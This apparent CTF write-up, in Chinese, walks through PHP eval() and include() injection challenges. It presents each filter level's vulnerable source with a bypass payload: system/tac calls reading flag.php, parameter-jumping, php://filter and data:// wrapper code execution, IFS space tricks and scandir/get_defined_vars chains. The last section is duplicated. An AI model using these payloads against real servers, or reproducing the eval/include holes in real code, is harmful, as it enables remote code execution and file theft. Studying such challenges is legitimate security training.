error_reporting(0);
if(isset($_GET['c'])){ // get传参不为空,执行if语句
$c = $_GET['c']; // get传参,赋值给变量c
if(!preg_match("/flag/i", $c)){ // 过滤flag,模式分隔符后的"i"标记这是一个大小写不敏感的搜索
eval($c);
}
}else{
highlight_file(__FILE__);
}
设置 PHP 的报错级别并返回当前级别。
error_reporting(-1):表示显示所有PHP错误报告。
error_reporting(0); 表示关闭所有PHP错误报告,即禁用报错报告。
判断变量是否声明。
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
1.搜索 subject 与 pattern 给定的正则表达式的一个匹配。
2.返回值为 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。
3.preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。
4.如果发生错误preg_match()返回 FALSE。
将字符串按照 PHP 代码来执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾。
?c=system('ls');
?c=system("cat fl*g.php");
?c=system("tac fl*g.php");
?c=system("nl fla*");
?c=system("nl fla?g.php");
system()—执行shell命令也就是向dos发送一条指令。
cat命令读取文件的内容并将内容连续(concatenate)输出到标准输出,用于查看文件的内容。
tac命令和cat命令的功能一样,区别是cat将文件从第一行到最后一行连续显示到屏幕上,而tac则正好相反,从最后一行到第一行反向输出到屏幕上。
nl (Number of Lines) 将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为"-" ,程序将从标准输入读取数据。
其默认的结果与cat有点不太一样,nl可以自定义行号显示效果(比如行号的位数和自动补全0)
'?‘和’*'都可以表示占位符,
?代表一个字符
*代表一串字符
【cat需要查看源代码拿到flag】
?c=echo `tac f*`;
?c=echo `nl fl''ag.php`;
?c=echo `nl fl“”ag.php`;
?c=echo `nl fl\ag.php`;
?c=system("cp fla?.php 1.txt");
访问1.txt
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=phpinfo()?>
?c=eval($_GET[1]);&1=system('nl flag.php');
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){ // 过滤了flag,system
eval($c);
}
}else{
highlight_file(__FILE__);
}
system():执行外部程序并显示输出资料。
passthru():passthru与system的区别,passthru直接将结果输出到浏览器,不返回任何值,且其可以输出二进制,比如图像数据。
exec():执行外部程序。
shell_exec(),popen():打开文件。
proc_open(),pcntl_exec()
payload:
?c=echo `cat fl*`;
只是其一,还有很多方法
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
// 过滤掉flag,system,php,cat,sort,shell,点号,空格,单引号
eval($c);
}
}else{
highlight_file(__FILE__);
}
用一个跳板,传进去另一个参数,让其执行另一个参数的值,但是新的参数已经脱离了正则判断
tac more less head tac tail nl od(二进制查看) vi vim sort uniq
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
%09 <> ${IFS} $IFS$9 $IFS$
payload:?c=eval($_GET[1]);&1=system("tac f*");
只是其一,还有很多方法
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
// 也过滤了分号和左边的括号
eval($c);
}
}else{
highlight_file(__FILE__);
}
include逃逸参数 : ?c=include%0a$_GET[1]?>&1= // %0a换行符
include没有分号分隔,所以只是包含,并没有输出,文件包含的思路来做
include可以不用括号,分号可以用?>代替,include函数传入的参数不能执行系统命令
利用文件包含插件LFI : php://filter/convert.base64-encode/resource= 变相读取任意文件
filter:过滤器或伪协议,通过指定的一个通道,来读取某个文件或者资源
读到的资源先用base64编码,不编码,是看不到源文件的
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
payload:
?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在PHP中,有两种包含外部文件的方式,分别是include和require。
主要区别:如果文件不存在或发生了错误,require产生E_COMPILE_ERROR级别的错误,程序停止运行。而include只产生警告,脚本会继续执行。
payload:
?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
注意:%0a是换行符,url解码出来直接是换行符,不包含0
payload:
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
// 题目过滤了flag,使用了include文件包含
echo $flag;
}
}else{
highlight_file(__FILE__);
}
data://text/plain;base64,xxxx(base64编码后的数据)
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==
此处也可以不利用base64编码
base64编码:
注意system语句后面的分号
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/plain,=system("cp fla* 1.txt");?>
再访问1.txt
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
通过后缀限制了include,但是仍然可以使用data伪协议,data://text/plain相当于执行了php语句,至于.php,由于前面的语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,就不再起作用了!!
payload:
?c=data://text/plain,=system("tac fl*";)?>
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
// 没有过滤字母,分号,英文括号,下划线
通过货币信息取点,扫描当前目录,把目录结果进行翻转,取下一个,再显示源码
payload:
show_source(next(array_reverse(scandir(pos(localeconv())))));
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file()函数:对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
show_source(): highlight_file() 的别名。
array_reverse():将数组逆序排列
scandir():函数返回一个数组,其中包含指定路径中的文件和目录(获取目录下的文件)
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值
next(): 函数将内部指针指向数组中的下一个元素,并输出。
先用**print_r(scandir(current(localeconv())));**打印出当前目录下文件,发现flag.php,将其打印显示出来
打印当前所有变量 print_r(get_defined_vars());
get_defined_vars() :函数返回由所有已定义变量所组成的数组。
拿到数组,再拿数组值,数组弹出并打印:print(array_pop(next(get_defined_vars())));
array_pop() 函数删除数组中的最后一个元素。
payload:
eval(array_pop(next(get_defined_vars())));
post传参:1=system("tac fla?.php");
payload:
?c=show_source(session_id(session_start()));
cookie为PHPSESSID=flag.php
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
但是此题无法获取flag,受php版本影响 5.5 -7.1.9均可以执行。因为session_id规定为0-9,a-z,A-Z,-中的字符,在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
更多知识点参考:先知社区https://xz.aliyun.com/t/10947
`
payload:
?c=show_source(session_id(session_start()));
cookie为PHPSESSID=flag.php
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
但是此题无法获取flag,受php版本影响 5.5 -7.1.9均可以执行。因为session_id规定为0-9,a-z,A-Z,-中的字符,在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
更多知识点参考:先知社区https://xz.aliyun.com/t/10947